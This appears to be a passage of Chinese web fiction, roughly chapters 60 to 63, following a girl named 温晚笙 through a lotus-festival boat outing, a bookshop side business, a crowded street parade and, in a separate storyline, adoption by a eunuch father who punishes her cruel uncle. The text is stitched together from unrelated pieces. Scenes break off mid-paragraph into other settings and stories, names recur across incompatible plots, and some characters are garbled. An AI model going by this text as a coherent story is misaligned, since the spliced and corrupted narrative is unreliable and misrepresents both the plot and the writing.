看着温晚笙放下帘子,马车走了,沈姨娘气得半死。 她戳着温舒的脑门骂:“你这个没出息的东西,怕她作甚。”说着牵住山哥儿的手回府,没好气地让下人快去租一辆马车回来。 温舒被骂得怯怯低下头,咬唇忍泪,不敢反驳。 而倚在马车里的温晚笙完全没被沈姨娘影响心情,优哉游哉地吃着矮桌上的一碟蜜饯,偶尔问一句陶朱,还有什么时候到九云桥。 到九云桥之时,温晚笙已经彻底精神起来了,马车一停,她脚凳也不踩,直接跳下去,吓得陶朱连喊几声:“七姑娘小心。” 陶朱这么一喊,把周围人的注意力都招了过去,包括裴怀璟。 他看向跳车后并未摔倒的温晚笙,一阵风恰好吹起她发鬓间的粉青色丝绦,长长地飘在身后,几缕碎发划过略施傅粉的脸。 风渐渐地过了。 待碎发垂落,一张光洁如玉的脸暴露在阳光之下,俏丽眉眼含着笑,乌黑蝴蝶髻适时插上了一株含苞待放的莲花,灵动又好看。 莲花齐腰襦裙轻轻晃动,温晚笙挽着淡青色披帛,粉青色的裙带垂在腰间,裙摆有大片的白,完美融合进开满莲花的连心湖。 裴怀璟错开眼,看对面的连心湖,湖面上莲花随着残风微动。 他身旁的裴馨宁一看到温晚笙就扶着裙摆过去了,她指了指靠岸的一艘画舫,有些小激动:“你来了,我们上去到湖心赏莲吧。” 画舫精美,船头有篷廊,挂了大大小小的灯笼,船身满是雕花彩绘,船尾配设着船楼,供人站在那里观赏湖中莲花美景。 可温晚笙没看裴馨宁所指的游湖画舫,看着裴怀璟:“裴大人?” 他怎么会在这里? 虽然她这几天都在思考要如何亲他,但今天出门单纯是为了陪裴馨宁游湖,没存别的心思。 因为白天在马车上睡过了,所以温晚笙醒得比往常都要早,天空还未泛起鱼肚白。 说来也怪,明明在马车上醒来的时候,她的姿势七扭八歪的,却还是比在帐篷里舒坦惬意。 大概是摇摇晃晃的颠簸,自带安眠效果 营地一片寂静,她轻手轻脚起身,就往不远处的溪边去。 晨风带着草木与泥土的清气拂过面颊,令人精神一振。 溪水潺潺,清澈见底。 她蹲下身,捧起一掬沁凉的溪水扑在脸上。 裴怀璟的唇角微微牵起,柔声道:“温七姑娘。” 裴馨宁看出了温晚笙的疑惑,凑到她耳边解释:“我阿爹阿娘不放心我外出游湖,叫我二哥陪着我……夏世子他也来了。” 温晚笙顺着裴馨宁的目光才看到跑去湖边教人钓鱼的夏子默。 夏子默心中记挂着这边的裴馨宁,助人钓起一条鱼就跑回来了,他先叫了温晚笙一声“温七姑娘”,再问他们:“要上船了?” 裴馨宁抬眸与夏子默对视一眼,含羞地“嗯”了一声,牵着温晚笙上画舫:“这是我二哥安排的船,你瞧瞧是不是很好看。” 温晚笙往后瞥:“好看。”裴怀璟和夏子默走在她们后面。 今天她出门前是没存别的心思没错,可在连心湖见到裴怀璟的那一刻有了,毕竟他们会见面的机会不多,能尽快完成就尽快完成。 画舫慢慢驶到湖心,裹着清新莲花气息的风扑面而来。裴馨宁往温晚笙手里放几个莲蓬:“你尝尝,我试过了,这莲子甜的。” 温晚笙剥了几颗莲子吃,甘甜脆爽,口感鲜嫩,凉凉的。 裴馨宁也给了夏子默一个莲蓬,朝船楼走去,看向裴怀璟:“二哥,这船上有没有莲花灯?” 京城男女老少皆会在观莲节当日出门,白天泛舟赏莲,夜里也会乘船游湖放莲花灯,为满湖莲花祝寿之余,顺便许下心中所愿。 他们准备在画舫里待到晚上,等夜游完连心湖再上岸。要是没莲花灯,中途可能要靠岸买。 裴怀璟:“有。” 裴馨宁又拉着温晚笙沿小梯登上船楼,上面有一席酒菜和各色点心,她们过去凭栏而坐,裴怀璟他们就坐在对面,下人则留在船头。 夏子默爱喝酒,一坐下就打开一坛酒,先给裴怀璟倒了一杯,再给自己倒,没给她们倒,这酒太烈。不过他给他们倒了果酒。 温晚笙试着喝了果酒,还不错,又吃了几块点心。 也不知夏子默存了什么心思,一直在灌裴怀璟酒,裴馨宁看不过去,劝道:“你们少喝点。” 夏子默应着她,却还是不断灌裴怀璟酒:“裴大人酒量真不错。” “夏世子过奖了。” 裴怀璟没拒绝夏子默的敬酒,他敬一杯就喝了一杯。温晚笙跟裴馨宁闲聊,克制住不看裴怀璟,生怕自己又犯盯“任务目标”的毛病。 夏子默问:“裴大人今日特地休沐陪裴三姑娘出来?” “不是。是正好休沐。” “谢五逃了,裴大人最近公务繁忙。”夏子默又给他斟了一杯酒,“我还以为你不会休沐呢,见你和裴三姑娘同来还吃了一惊。” 裴怀璟唇角含笑,平静道:“该休沐还是要休沐的。” 一直有留意他们这边情况的温晚笙深以为然,上班该休息还是要休息的,不能因为人家是锦衣卫就剥夺了他的休沐权利。 温晚笙看中了摆在裴怀璟前面的一碟点心,想尝尝,无奈桌子太大,她伸长手也死活够不着。 裴怀璟拿起那一碟点心递给她,瞧着像个热心肠的好人。 她接下了:“谢谢。” “温七姑娘客气了。”裴怀璟收回手,转开眼,握住夏子默再次递来的酒杯,也是一干而尽。 最后裴怀璟有些醉了,说要找个地方休息一下。夏子默见他离开,立刻靠近裴馨宁,低声说一些情话,惹得她垂着头,面红耳赤。 温晚笙算是明白了。 夏子默对裴怀璟灌酒的目的是为了想跟裴馨宁独处。不用他暗示,她以自己想到处看看为由,也离开了船楼,不当电灯泡。 陶朱跟裴馨宁的丫鬟在船头闲聊,看不见船楼发生的事情。 离开船楼的温晚笙没打扰她们,无所事事到处走,不经意走进船舱,看到了倚躺在美人榻上的裴怀璟。 冰凉的触感让她打了个激灵,却也感到分外松快。 说起来在现代,她很少有机会接触大自然,整天不是在家就是在学校。 这里的水,确实干净许多,没有污染。 因为昨天那件事,先生们顺了大家的意,说是今天傍晚就能住进客栈,到时候就能洗个澡了。 温晚笙甩了甩手上的水珠,正要往回走,却听压低的交谈声顺风飘了过来。 “公主,一切都已安排妥当了。” “亦瑶,要不还是算了罢。倘若当真出了人命” “公主宽心,他们知晓轻重,不过是做做样子,万不敢动真格的。”【】 60-70 第 61 章 第 61 章 时辰尚早,溪畔静悄悄的,只有泠泠水声与偶尔掠过的鸟鸣。 两人以为四下无人,言语间便少了些顾忌。 温晚笙和她们之间,隔着一颗树,不想探听,但零碎字句依旧撞入耳中。 幸好没说几句,郑亦瑶就走到一旁守着,留下楚怜芝独自净面。 温晚笙轻手轻脚地准备走人,目光无意间一掠。 楚怜芝的身子似风中细柳般晃了几晃,就要一头栽进溪水之中。 夜幕渐渐褪去,晨雾萦绕,还不到卯时,天色尚且昏暗着,街上便有数不清的小贩出来摆摊了,人气驱散昨日夜间留下的清冷。 有小贩,自然也就有客人,讨价还价声音的充斥着整个早市。 一个扎着高马尾的少年穿过熙攘的街巷,肩薄腰细的身影一闪而过,橙色丝绦随风拂动。 从后面看,可能会觉得这是个身形偏瘦的少年,从正面看就不会这么觉得了,一眼就能看出她是个女扮男装的漂亮小姑娘。 温晚笙是有要亲裴怀璟的任务在身,但不会为此丢弃书斋生意。 任务要完成,钱也要赚。 今天她早起就是要到书斋里处理下一桩生意,穿男装戴上面具后,不被人看见脸,一定程度上也可以混淆性别。不过温晚笙不经常穿男装,纯属看心情。 这一单生意仍然是在少年离开京城去苏州前就接下了的,不能退,她不想付“违约金”。 最令她心动的是,交易成功后有一百两的收入。 温晚笙熟练地绕路来到书斋,戴好面具,坐到书架前的木梯上看书等客人来。定下交易后,这个客人还没跟她说过交易内容。 因为他们曾明确对外说过只做包打听,帮找东西或找人等生意,不会做触犯律例的,一旦牵扯到这些,签订的契约作废。 所以客人想什么时候对书斋说交易内容都可以,而且绝对会在他们业务范围内,不用担心。 温晚笙草草看完一本薄书,时不时往门口看一眼。 客人怎么还没来?他们明明约好在辰时见面的,如今快巳时了,还不见人影。她不知道对方长什么样,没法到外面去找。 按照规矩,碰面的地方也只能在书斋,到外面接头不安全。 难道客人想毁约? 温晚笙和少年经营书斋以来也遇到过一次这种情况,但他去把对方要付的违约金讨回来了。 如此熟悉的一幕。 温晚笙赶紧抢步上前,将人扶住。 楚怜芝惶然抬首,眼中掠过一丝错愕。先前种种回忆倏然翻涌而至,在她眉间蒙上一层淡淡的阴翳。 她勉力牵起唇角,“多谢。” 温晚笙看她不是很开心的样子,眨了眨眼,“水边湿滑,公主当心些。” 楚怜芝的神色微微一凝,“方才……” 也不知少年用了什么手裴,那人连个屁都不敢放,更不敢给他们穿小鞋,书斋至今还好好的。 她决定再等一刻钟。 若客人再不来,温晚笙就要打道回府了。一刻钟后,客人没等来,她倒是等来了另一个人。 悬挂在门上的风铃忽然晃动,叮叮当当,坠在末端的红穗子也晃个不停,一只修长的手推开了门,身后是斜洒进来的阳光。 温晚笙一开始还在百无聊赖地等人,用鸡毛掸子扫书架的灰尘,听到风铃声便转头看过去。 看清是谁,她睁大眼。 只见少年一袭黑衫,依然戴着那张丑得不能再丑的面具,扎起来的高马尾长及腰际,腰间的埙还在,手执黑铁长剑,气势清冷。 她扔下鸡毛掸子,惊喜地跑过去:“今安在,你回来了!” 今安在:“嗯。” 温晚笙把鸡毛掸子塞他没拿剑的手里:“书斋积满了灰尘,有空你扫干净……你不是说要半个月后才回来,怎么提前这么多天?” 他不冷不热道:“事情办完了就提前回来了。” “那你速度还挺快。” 她把客人今天没来书斋商议交易的事告诉他:“你说这个客人是不是想要毁约,不来了。” 一百两银子打水漂了? 今安在关上门,风铃又响了几声,颤音过后最终归于平静,他冷淡地拿起鸡毛掸子就扫书架的灰尘,话不多:“我会查清楚。” 早就习惯他这副鬼样子的温晚笙一屁股坐到摇椅上摇啊摇:“你回苏州是去见你的亲人?” 鸡毛掸子停在最高一层书架,今安在握紧木柄。 “不是。我没亲人。” 温晚笙偏了偏头。 那模样看起来,并无恶意,也无威胁之意。 想来,她并未听到罢。 楚怜芝紧绷的心弦松缓了几分,斟酌的试探跟着一转,“听闻今日要分作几队上山,不知温姐姐想随哪一队?” 温晚笙答得干脆:“看先生们安排吧。” 温晚笙“哦”了声,刚也只是顺口一问,听了这话,没再打听他的私事:“你回来了正好,还有几单生意在后面排着呢。” 没他帮忙,她一个人真的很难处理完这些生意。 “知道了。”他说。 今安在扫完一个书架的灰尘,接着扫下一个书架,还算勤快,然后似无意问:“我离开这裴日子,京城有没有发生什么大事?” 她一边看生意单,一边打趣:“哟,太阳打西边出来了,你居然还会担心京城发生什么。” 他懒得回,不吭声。 温晚笙看着生意单上的银两数目,算来算去,看自己还差多少才能攒够三千两,分神道:“确实有那么一件大事,谢家被抄了。” 初听此事,她是事不关己高高挂起的,现在印象深刻。 “说来也巧,我前几天到西街,还撞见在行刑前就逃了的谢家五公子,他藏身花球,想借花魁游街出城,却被发现了。” 那天发生过的事,温晚笙皆历历在目:“是锦衣卫发现的。” 今安在微微失神,不知在想什么,鸡毛掸子没再动过,扫来扫去都是同一个位置:“是么。” 她哼了哼:“我骗你干什么,到大街上随便找个人一问就知道了,这件事早就传得沸沸扬扬,你刚从苏州回来才不知道而已。” 他又不吭声了,一如既往的爱搭不理,高冷得很。 温晚笙继续道:“虽然谢家五公子想借花魁游街出城被发现,但没被抓到,至于最后有没有通过别的方式出城,我就不知道了。” “听说谢家被抄家的罪名是结党营私,可有人说谢家以前还挺好的,你觉得这其中会不……” 今安在扫完灰尘就搬书出院子晒:“朝堂之事与我无关。” 只要跟裴怀璟一队,其他都无所谓。 楚怜芝轻轻颔首,温声同她道了别。 温晚笙走出几步,又撞上神色大变的郑亦瑶。 “温晚笙,你怎么也在这?!” 温晚笙头也没回,“怎么,这条小溪被你承包了吗?” “你!” 温晚笙朝他做了个鬼脸,是谁先问京城有没有发生什么大事的?她说了,他又说与他无关。 “好好好,朝堂之事与你无关。你收拾收拾,跟我出去一趟,我想到西街找新的布料货源。”西街繁华是繁华,乱也是真的乱。 有今安在在更安全,他往那一站,温晚笙砍价都更有底气了。 今安在不是第一次陪她去西街了,对西街的环境也还算熟悉,没说什么,进屋里收拾自己,换了衣衫,又换了还算正常的面具。 西街多的是打扮得稀奇古怪的人,戴面具也不是特别突兀。 温晚笙就这样带着今安在出去了,一路上买个不停,她没用早膳就急着出门到书斋等客人过来,现在饿得恨不得一口一包子。 今安在嫌弃地瞥了眼她嘴角的包子屑:“离我远点。” 她擦了擦嘴角:“你还好意思说我,以前我从乱葬岗救你回来的时候,你身上都爬满虫了,闻着臭烘烘的,我都没嫌弃你呢。” “没嫌弃?”他双手抱剑,眼风扫过她,“我怎么记得你当时吐了好几回,还拿脚踹了我几下,美其名曰是踹死那些虫。” 温晚笙大喊冤枉。 “我真的只是想踹死那些虫而已。”抓虫太难为她了。 今安在:“呵。” 她也呵了声:“爱信不信,反正我说的实话。” 温晚笙没换掉男装,他们此时并肩走在大街上,远远看着如同一对一高一矮的兄弟,矮的那个显然是话唠,高的那个则少言。 这幅画面尽数映入站在西街东南侧楼阁窗台前的青年眼中。裴怀璟长身鹤立,看过那少年,随后目光遥遥落到温晚笙那张白皙的脸上。 胡人性情奔放,当街扭腰热舞,引得观众发出阵阵欢呼。 温晚笙不吝啬夸赞,看到耍杂技耍得精彩的就掏出几文钱打赏,然后拍手称快,跟着欢呼。 她嘹亮的高嗓音不间断地充斥在裴怀璟耳边,震耳欲聋。 不知情的恐怕会以为温晚笙是特地过来看杂技,而不是送他回北镇抚司,或者说送他回北镇抚司就是个幌子,想找人陪她来此才是真。 大约过了半刻钟,温晚笙终于意识到自己忽略了此行真正的目的,将注意力转回到裴怀璟身上。 “裴大人,西街离北镇抚司更近,能省上不少时间。” 说了她选这条路的原因。 其实温晚笙是故意引裴怀璟来比其他街道更多人、更乱的西街,妄图借人潮拥挤为由,“不小心”抱到他,从而顺利功成身退。 裴怀璟绕过拉着一头驴的小贩,没表现出不满:“我看温七姑娘对这里很熟悉,经常来?” 温晚笙是布庄的老板,偶尔需要上阵谈生意,到西街找物美价廉的布源,对这一带还算熟悉:“也不是经常来,就偶尔来一次。” 他没追问,观察着周围环境与长相各异的行人。 后方不知怎么的,忽然涌来一群人,将本就踵趾相接的西街围得水泄不通。温晚笙问了行人才知道今天有花魁游街,百姓争先恐后看热闹。 这么多人挤在一起正合温晚笙的意,趁乱好行动。 只不过温晚笙得逞的笑容刚起来便被散了,人太多也不是件好事,她和裴怀璟被他们挤散了,她离裴怀璟越来越远,碰都碰不到。 “裴大人!” 沸反盈天之余,不知是谁在旁边问了一句:“你喜欢看?” 她漫不经心顺口答:“好看,喜欢。”回答完才觉得不对劲,转头看,身边不是裴怀璟是谁? “裴大人?”温晚笙见到他,眼一亮,怀里揣着一袋炒栗子,手里还握着一颗刚剥开的金黄栗子,说话也带着一股栗子香甜。 裴怀璟看了温晚笙一眼,又看了一眼她拿着的栗子。 温晚笙将剥开的栗子扔回袋里:“刚刚人太多,我找不到你,还以为你先回北镇抚司了呢。”他不是急着回北镇抚司?怎么还在? 他看着花车上的花魁与男子:“暂时不回了。” 她疑惑:“为什么?” “看花魁。” 温晚笙信他才怪,断定裴怀璟有别的事要办,也不深挖下去,这对她来说不重要,任务重要。 她又蠢蠢欲动了。 百姓专注于看花魁,除了后面那些想挤进来看的人会动来动去外,前面的人几乎不怎么动了,就如同一堵活的人形肉墙。 如今他们身处紧挨着花车的前面位置,应该不会再出现一开始的拥挤情况,温晚笙必须得承认自己已经失去了抱裴怀璟的最佳时机。 太可惜了。 面对一而再,再而三的失败,她都有点想对他下迷药了,之后找个地方要怎么抱就怎么抱。 但想象是美好的,现实是残酷的,就裴怀璟那样的身份,要是能被她的迷药迷倒,早就死了千百回了,怎么会有命活到现在。 得想想别的法子…… 温晚笙用余光偷瞄裴怀璟,发现他居然真的在看花魁表演。 裴怀璟看着花车方向,却能察觉到她正在偷瞄他:“温七姑娘不是觉得花魁表演好看,怎么现在看我,不看花魁表演了?” 温晚笙刚要回答,鼻子一动,闻到了似有似无的血腥味。 哪里来的血腥味? 温晚笙心系任务,却被人群推着往前走,死活钻不出来。 她没能趁乱抱搂到裴怀璟,倒是被人抱搂了数次,都是一些和温晚笙一样被人流推搡着的女子。 她们力气没温晚笙大,快要摔倒之时会下意识地抱扶身边的人或物,温晚笙见了,顺手拉她们一把,再然后就被挤抱到一起了。 等她们站稳,温晚笙再去找裴怀璟,他们中间隔了有十几个人。 偌大的良机就要这么错过了?不行,她不同意。温晚笙立刻使出浑身力气,逆流而行,推开撞来的男男女女,伸手朝裴怀璟方向去。 可百姓对花魁的热情哪里是温晚笙一人能抵挡得住的,她就像在现代搭拥挤地铁那样被他们裹挟前行,腿脚都不是自己的了。 她有点武功,但不多,压根没法在多人的冲击下保持不动。 总不能用随身携带的迷药将身边的百姓全迷晕了吧,当街对无辜之人用迷药,怕是得进一趟衙门,何况她也没那么多迷药。 最终温晚笙还是被百姓送到了反方向,看花魁的地方。 回头看,连裴怀璟的影子也瞧不见了,他很有可能直接走了,毕竟不用她送,他也能走回北镇抚司。她棋差一着,没能如愿以偿。 就在此刻,一柄做工逼真的长剑寒芒骤涨,穿破雾气,直直刺向裴怀璟。 真来啊! 温晚笙心脏狂跳,血液几乎沸腾。 不及思考,她侧身一旋,张开双臂,挡在少年身前。 下一瞬,是利刃深入皮肉,沉闷而湿黏的声响。 温热的鲜血喷溅而出,浸红了少年的衣襟、脸侧、眉骨,以及那失了血色的唇。 第 62 章 第 62 章 裴怀璟觉得自己的心口很疼。 曾几何时,时一最讨厌小孩子,无论男女,要么哭哭啼啼,要么招猫逗狗,总之都不是什么好相与的。 也亏得他太监出身,这辈子都不会有这种烦恼。 以至于当他被温晚笙软乎乎地唤了兄长后,竟半天不知作何反应,脑中一片空白,愣愣地看着前面,冷硬的脸上难得出现几分无措。 时二比他好上那么一点,但也仅限于一点点。 他指了指自己的脖颈,无声张了张嘴,迎上温晚笙略显迷茫的眼神,悬在半空的双手一顿,也是不知如何继续下去了。 时序解释的声音适时响起:“时二早些年伤了嗓子,无法发声,只能用手语交流,阿归若是瞧不明白,就叫时一讲给你听。” 温晚笙早有猜测,只一时不敢置信罢了。 她这会儿不说话,旁人也只是静静等着。 时序的掌心不时在她发梢擦过,一张平静的面庞下,想的却是该到哪里寻摸些好东西,给他的宝贝女儿补身子,瞧这枯黄干燥的发尾,哪里是一个五岁的小姑娘会有的。 他心中叹息:养女儿之路还是任重而道远啊。 正想着,却见伏在他膝头的温晚笙有了动作。 温晚笙扒着时序的胳膊爬下去,刚想赤脚跳下,忽然想起阿爹不久前的嘱托,鼓了鼓嘴巴,转趴在榻上去够地上的鞋袜。 正当她伸长胳膊半天摸不到矮靴之际,她的视线中蓦然多了其他人的手,歪头一看,果然是雪烟过来帮忙了。 雪烟笑说道:“奴婢帮小主子来穿。” 当着这么多人的面,温晚笙其实是有点不好意思的。 但不等她拒绝,时序就按住了她的肩膀:“阿归别着急。”他半个身子都靠在榻上的茶桌上,难得露出一点放松的姿态。 他虽没有明言,但显然也是习惯了被人伺候的。 温晚笙抿了抿唇,不好再说不,只好轻轻道:“那就麻烦雪烟姐姐了。” 好不容易穿好鞋袜,再没有什么能阻拦温晚笙的了,她轻快地跳到地上,头也不回地走向时一两人,左右看了看,终向时二伸出手。 “二兄,抱——” 时二长得实在高大,温晚笙要用力往后仰着头,才能勉强看清他的模样,她暗中打量一番,总觉得自己只有二兄二分之一高。 这个认知叫她沮丧一瞬,但很快又高兴起来。 没关系! 虽然她长得矮,但二兄长得高呀! 她与二兄都是阿爹的孩子,那就是一家人,四舍五入,她也就一样高啦! 温晚笙想到阿爹那同样挺拔的身高,对长大后的自己也格外有信心,反正她与二兄还差着好多好多岁,就不要纠结当下、自寻烦恼了。 她劝起自己格外有一套,再看高高壮壮的时二时,眼中只余惊叹。 她见时二久久没有动作,只好再往前一步:“二兄?” 旁边的时一猛一个激灵,顾不得观察掌印脸色,忙上前一步,率先把温晚笙抱起来,又扯了一个勉强的笑:“我、我……时二反应慢,我来抱你也是一样,小、小妹。” 在温晚笙眼里,大兄二兄都是一样的。 她被高高抱起来,一点也没有不适,反手圈住了时一的脖颈,甜甜笑道:“嗯嗯,大兄也一样的!” “大兄长得也好高诶,跟二兄差不了多少,比阿爹还要高,好厉害的!” 这一声又一声的大兄二兄,直将时一时二喊得晕乎乎的,不多时手心里就冒起汗来,颤抖着应了一声:“是、是呀……” 时一觉得,他大概是懂了。 这样一个又甜又软的小姑娘抱在怀里,难怪掌印眼里完全看不进旁的去。 若他也有这样一个女儿…… 不及细想,他莫名觉得不远处有什么阴沉沉的注视,等他试探着往裴围一看,正与时序那双似笑非笑的眸子对上。 时序皮笑肉不笑:“抱够了吗?” “!”时一颈后一凉,“够了够了!已经很够了!” 时序虽不介意温晚笙叫旁人兄长,可这不代表他能接受女儿找别人亲近。 哪怕这个旁人是他亲自挑选培养的干儿子,同样不行。 他的乖女儿,只能跟他这个亲爹天下第一好。 时序面上不显,却是不动声色地把温晚笙揽过来,又装作不经意吩咐道:“我听说宫里还存有一些相关宗卷,眼下我腾不开手,那就你们去吧,连着已经整理好的一起,重新规整一遍,规整好了也不用再来汇报了,直接呈给陛下就是。”换言之,也就是不用在来府上了。 温晚笙乖巧地坐在时序身边,没能听出他的言外之意。 但跟他已久的时一时二却顿时明白了他的不悦,心里再是想跟新认识的小妹交流交流感情,也不敢当着掌印的面造次。 两人绷直身体,正色道:“是。” 说完,他们也不等时序驱赶,自行寻了借口,赶早离开这是非之地。 临出门时,他们还隐约听见时序在说:“……他们只顾着忙自己的事,竟连阿归都顾不上,不像阿爹,阿爹最是清闲,能一直陪着阿归。” “没关系的,大兄二兄他们忙正事要紧,等他们忙完了,我再找他们说话也是一样的,不过我能有阿爹陪着,已经很是满足了,阿爹最好啦——” 已经走到门外的时一和时二对视一眼,颇是一言难尽。 诚如时序所说,他这一整日都守在温晚笙身边,中途碰上给她擦药,更是全程小心翼翼,唯恐一个不小心弄痛她。 御医昨晚就说过,调整身子这事急不来,倒不如等温晚笙对新环境适应了,身体表面上的一些损伤也好利索了,再开始调养也不迟。 涉及女儿的健康,时序完全听从御医的意见。就在温晚笙被伺候着暖身吃饭时,主院的书房也是灯火通明。 时一和时二跪在案前,垂着脑袋,不敢打量头顶人的脸色。 出了这么一遭事,两人也意识到不对,无需时序问询,他们赶忙将傍晚发生的事一一道来,半点细节不敢落下。 随着他们话音落下,时序屈指敲了敲桌面:“你们的意思是说,她原本不知这是时府,还是从你们口中确定的?” 此话一出,时一额角顿生冷汗。 他不敢犹豫,只重重磕了一个头,复道:“奴婢失言,请大人责罚。” 时序没有说话,继而看向时二。 时二先是叩首,他的嘴巴还是紧紧闭着,只举起双手,快速比划起来。 司礼监常有罪奴出入,时一和时二便是同一批送去训练做死士的罪奴。 死士不需多么能言善辩,能按照主人的吩咐办事就好,甚至为了避免他们被俘说后出不该说的,受训前都要被毒哑嗓子。 当年时序在罪奴中挑了时一和时二出来,亲自训练。 他可不想整日与一群哑巴共事,便不许他们喝那哑药,无奈命令下迟了一步,时一吞了一半,调养多年,虽声音喑哑,好歹不影响讲话。 时二是个实诚的,哑药到手直接一饮而尽,等时序的命令传过来时,他的声带已被彻底毁掉,后面再与人交谈,也只能靠手语。 但此时他看着温晚笙手脚上严重的疮伤,对杨元兴的恨意简直又深刻了一层,他咬紧牙关,已经想好该把哪些刑罚用在他身上。 好不容易处理好了这些冻疮,温晚笙还没说什么,时序已是一身汗。 他之前就问过温晚笙,用不用帮忙把杨元兴找来,那次是被拒绝了。 但想到那死狗一般瘫在柴房里的东西,时序总要再确定一番,若温晚笙真的不打算再见,他才好放手折腾。 听闻此言,温晚笙一直笑着的小脸一下子垮了下来,想到这几月的相处,哪怕她能不介意冷待,可最后的发卖着实让人心寒。 她怏怏不乐道:“我不想见他……阿爹,我能不能再也不见舅舅了呀?” 她害怕阿爹骂她不知感恩,低着头不敢去看他的表情。 殊不知,时序绽开笑意,纵容地拍抚着她的后脊:“不见好呀,阿归的选择是对的,要我说,阿归连舅舅都多余喊出来。” “像他那种黑了心肝的,哪里当得起咱们阿归的一句舅舅?” 不光不用叫人,最好能早早把杨元兴忘干净,这样他帮乖女儿出起气来,才好尽力尽兴、不留余地。 时序表情变了又变,终是噗嗤一声笑出来。 这厢父女两个一派其乐融融,侯在旁边的雪烟和云池已经神思混沌,区区震惊,岂能表达她们此刻的心情? 而时序将温晚笙抱回小榻上,又拿了旁边的坎肩,本想给她穿好,奈何温晚笙腻在亲爹身上半天不肯下去,最后只能虚虚搭上去。 温晚笙将头靠在时序肩膀上,终于后知后觉:“阿爹身上臭臭的……” “臭?”时序先是疑惑,低头在自己身上嗅了嗅,好半天才反应过来,女儿嘴里说的臭味,正是他早已习惯的血腥气。 他这一上午都跟杨元兴待在一起,再是小心,身上也难免溅上三两滴血迹,且在那全是血气的柴房待久了,身上又味道也是难免。 他光是急着来看女儿,竟忘了换身干净衣裳。 懊恼再一次浮现在他脸上,时序补救:“那我先去换身衣裳,等把身上洗干净了再来好吗?” 他这边才说完,温晚笙一下子抱住了他的手臂,脑袋摇得跟拨浪鼓一般:“不好不好,阿爹不要走!我不嫌阿爹臭了,阿爹身上香香,一点都不臭!”像是验证她的话,她又将头抵在时序胸口,重重吸了一口。 温晚笙抬起头,眼中全是真诚。 时序心头熨帖一片,大掌抚了抚她的发顶,半晌说不出话来。 该死的好感度,是不是清零了来着? 第 63 章 第 63 章 裴怀璟嘴角的弧度僵直,幽黑的眼一眨不眨地盯着她的胸口。 那里,衣料随着她细微的呼吸,正一起,一伏。 “你醒了。” 冷淡的声音钻入耳畔,温晚笙下意识将手里的东西往身后藏了藏。 想到努力尽数付诸东流,她的心口一阵发堵,想把罪魁祸首暴揍一顿。 好在理智尚存。 她重重做了个深呼吸,勉强点头,尽量让声音听起来平稳如常:“所以我们现在这是在哪?” 她会说话。 裴怀璟垂在身侧的手,倏地攥紧。 京城设有宵禁,戌时之后街上便不许百姓行走。 杨元兴一进城就被小商贩们围住,一句又一句的奉承夸得他找不着北,只顾着掏银子装大爷了,完全不知温晚笙是什么时候不见的。 刚发现温晚笙与他走失时,他还短暂慌乱了一会儿,他左右问了一圈都没问出点什么,好不容易才得到好心汉子的两句指点。 那人说:“若孩子只是单纯走丢了,那就不用担心,京城夜里有宵禁,到了时辰还在街上逗留的都会被押去衙门,等着家人去赎才能出来。” “只要你家孩子不是被旁人偷走的,转天你到各大衙门里走一趟,多半就能找回来,我记着应是要交一钱还是两钱赎金,具体你到衙门再问吧。” 杨元兴表情变来变去,听到最后还要交赎金,终忍不住啐了一口,骂骂咧咧道:“小贱皮子,竟给老子找麻烦!等老子找到你,定要叫你长长记性……看什么看,没见过丢孩子的!” 那汉子好心指点,没得到感激也就罢了,还莫名其妙被骂了一通,然他也不是什么好脾气的,脸色一冷,高高挥起拳头:“你再说一遍?” “我说——”杨元兴看了看两人之间的身高差距,强忍下心底的烦躁,擤了一把鼻子,嘀嘀咕咕地转身离去。 “什么东西!”汉子冷哼一声,将这晦气事抛至脑后。 有了那汉子的指点,杨元兴倒是不着急了。 他不光不着急,更是彻底撒手不管,溜溜达达去寻了一家客栈,一问价钱,只能付得起最便宜的大通铺,连着白天提供的两餐,一日要一百二十文,堪堪在他承受范围内。 他囫囵吃了口饭,回房一觉睡到天黑,睡醒后又是吃,还自来熟地跟旁边人凑了一桌,胡咧到宵禁。 京城宵禁只是街上不许有人,百姓家里或客栈内就不在管束范围内了。 而杨元兴住的这家客栈也不是什么正规地方,临城门只一条街距离,又胜在价格实惠,多是些外地来的三教九流,只要不是太过分,掌柜对住客的许多行为都是睁一只眼闭一只眼。 杨元兴难得碰见那么多志同道合之人,只顾着同他们吹牛皮侃大山。 至于已有两三个时辰没看见的亲外甥女? 杨元兴哼着小曲,大手一挥:“小二,再给爷上壶好酒!” 几壶黄酒下肚,他已经有些找不着北了,同桌的客人先后告辞回了房间,最后楼下只余下他和门口的一桌。 眼看着就要通宵,他倒干净最后一点酒,忽然想起什么,扬声将打瞌睡的小二叫过来,最开始还知道压着点声音,可小二连着两次没听清楚,他立刻不耐烦了:“我是问你京城有名的花楼是哪几家!” 小二一个激灵,第一反应就是打量杨元兴的穿着,许是他眼拙,看了半天也看不出他哪来的去那种场所的资本。 但秉承着客人为先的准则,小二也没多说,谄笑一声:“这位爷,小的也没去过那种地方,好些都是从客人那里听来的,准不准就不知道了。” “没事,你先说。”杨元兴道,“不光是有名的花楼,还有那些收女童的妈妈,哪位妈妈给价最高,你有了解的吗?” 就是在他跟小二打听的时候,司礼监的暗卫到了。 念及主子着急,暗卫也没顾及旁人的存在,倏尔现身后,直接将杨元兴绑了去,而后丢下一支司礼监办案专属的令牌,见此令牌者,自然知晓什么该说什么不该说。 果然,小二和另一桌客人顿时噤若寒蝉,对于暗卫的行为不光没有制止,还有眼色地背过身去,只当不知道发生了什么。 从客栈到时府,杨元兴骂了一路。 直到他被关进柴房,暗卫怕他的污言秽语惹了主子不悦,方才从墙角寻了一块抹布出来,也不管上面有多少灰尘,粗鲁地塞进杨元兴嘴里。 “唔唔唔——”你们是谁! “唔唔!”放开我! 杨元兴目眦欲裂,偏手脚被反绑在一起,他挣扎半天不光没能挣脱开,还一头栽倒在地上,滚了两圈也没能坐起来。 时序过来时,杨元兴正用肩膀抵着地面,使出吃奶的劲想将身体正过来,只他常年懒散,半天不得其法,连脑袋都因长时间倒置而充血。 柴房的木门被打开,锁链发出哗啦地碰撞声。 杨元兴屁股一颤,下意识抬头去看来人。 然而他只觉头顶一痛,一只脚直接踩在他的后脑勺上,他的额头咚一声磕在地上,疼得他眼前一黑:“唔——” 两个暗卫将柴房里的蜡烛点燃,又规矩站到房间左右两侧。 时序理了理袖口,睥眸问道:“这便是我要的人?怎把嘴堵上了?” “回主子,这人就叫杨元兴,今日抵京,因其出言不逊,属下恐其脏了主子的耳朵,才自作主张堵了他的嘴。” 时序微微颔首,看他的表情对此并不怎么在意。 